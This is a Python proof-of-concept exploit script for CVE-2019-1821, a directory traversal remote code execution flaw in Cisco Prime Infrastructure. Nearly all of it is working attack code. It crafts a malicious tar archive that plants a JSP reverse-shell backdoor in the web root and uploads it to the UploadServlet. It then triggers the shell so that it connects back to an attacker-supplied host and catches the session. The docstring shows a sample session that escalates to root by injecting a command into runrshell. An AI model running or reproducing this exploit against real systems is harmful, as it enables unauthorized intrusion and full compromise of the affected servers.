1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 |
#!/usr/bin/python """ Cisco Prime Infrastructure Health Monitor HA TarArchive Directory Traversal Remote Code Execution Vulnerability Steven Seeley (mr_me) of Source Incite - 2019 SRC: SRC-2019-0034 CVE: CVE-2019-1821 Example: ======== saturn:~ mr_me$ ./poc.py (+) usage: ./poc.py <target> <connectback:port> (+) eg: ./poc.py 192.168.100.123 192.168.100.2:4444 saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.2:4444 (+) planted backdoor! (+) starting handler on port 4444 (+) connection from 192.168.100.123 (+) pop thy shell! python -c 'import pty; pty.spawn("/bin/bash")' [prime@piconsole CSCOlumos]$ /opt/CSCOlumos/bin/runrshell '" && /bin/sh #' /opt/CSCOlumos/bin/runrshell '" && /bin/sh #' sh-4.1# /usr/bin/id /usr/bin/id uid=0(root) gid=0(root) groups=0(root),110(gadmin),201(xmpdba) context=system_u:system_r:unconfined_java_t:s0 sh-4.1# exit exit exit [prime@piconsole CSCOlumos]$ exit exit exit """ import sys import socket import requests import tarfile import telnetlib from threading import Thread from cStringIO import StringIO from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def _build_tar(ls, lp): """ build the tar archive without touching disk """ f = StringIO() b = _get_jsp(ls, lp) t = tarfile.TarInfo("../../opt/CSCOlumos/tomcat/webapps/ROOT/si.jsp") t.size = len(b) with tarfile.open(fileobj=f, mode="w") as tar: tar.addfile(t, StringIO(b)) return f.getvalue() def _get_jsp(ls, lp): jsp = """<%@page import="java.lang.*"%> <%@page import="java.util.*"%> <%@page import="java.io.*"%> <%@page import="java.net.*"%> <% class StreamConnector extends Thread { InputStream sv; OutputStream tp; StreamConnector( InputStream sv, OutputStream tp ) { this.sv = sv; this.tp = tp; } public void run() { BufferedReader za= null; BufferedWriter hjr = null; try { za= new BufferedReader( new InputStreamReader( this.sv ) ); hjr = new BufferedWriter( new OutputStreamWriter( this.tp ) ); char buffer[] = new char[8192]; int length; while( ( length = za.read( buffer, 0, buffer.length ) ) > 0 ) { hjr.write( buffer, 0, length ); hjr.flush(); } } catch( Exception e ){} try { if( za != null ) za.close(); if( hjr != null ) hjr.close(); } catch( Exception e ){} } } try { String ShellPath = new String("/bin/sh"); Socket socket = new Socket("__IP__", __PORT__); Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %>""" return jsp.replace("__IP__", ls).replace("__PORT__", str(lp)) def handler(lp): """ This is the client handler, to catch the connectback """ print "(+) starting handler on port %d" % lp t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lp)) s.listen(1) conn, addr = s.accept() print"(+) connection from %s" % addr[0] t.sock = conn print "(+) pop thy shell!" t.interact() def exec_code(t, lp): """ This function threads the client handler and sends off the attacking payload """ handlerthr = Thread(target=handler, args=(lp,)) handlerthr.start() r = requests.get("https://%s/si.jsp" % t, verify=False) def we_can_upload(t, ls, lp): """ This is where we take advantage of the vulnerability """ td = _build_tar(ls, lp) bd = {'files': ('si.tar', td)} h = { 'Destination-Dir': 'tftpRoot', 'Compressed-Archive': "false", 'Primary-IP' : '127.0.0.1', 'Filecount' : "1", 'Filename': "si.tar", 'Filesize' : str(len(td)), } r = requests.post("https://%s:8082/servlet/UploadServlet" % t, headers=h, files=bd, verify=False) if r.status_code == 200: return True return False def main(): if len(sys.argv) != 3: print "(+) usage: %s <target> <connectback:port>" % sys.argv[0] print "(+) eg: %s 192.168.100.123 192.168.100.2:4444" % sys.argv[0] sys.exit(-1) t= sys.argv[1] cb = sys.argv[2] if not ":" in cb: print "(+) using default connectback port 4444" ls = cb lp = 4444 else: if not cb.split(":")[1].isdigit(): print "(-) %s is not a port number!" % cb.split(":")[1] sys.exit(-1) ls = cb.split(":")[0] lp = int(cb.split(":")[1]) if we_can_upload(t, ls, lp): print "(+) planted backdoor!" exec_code(t, lp) if __name__ == '__main__': main() |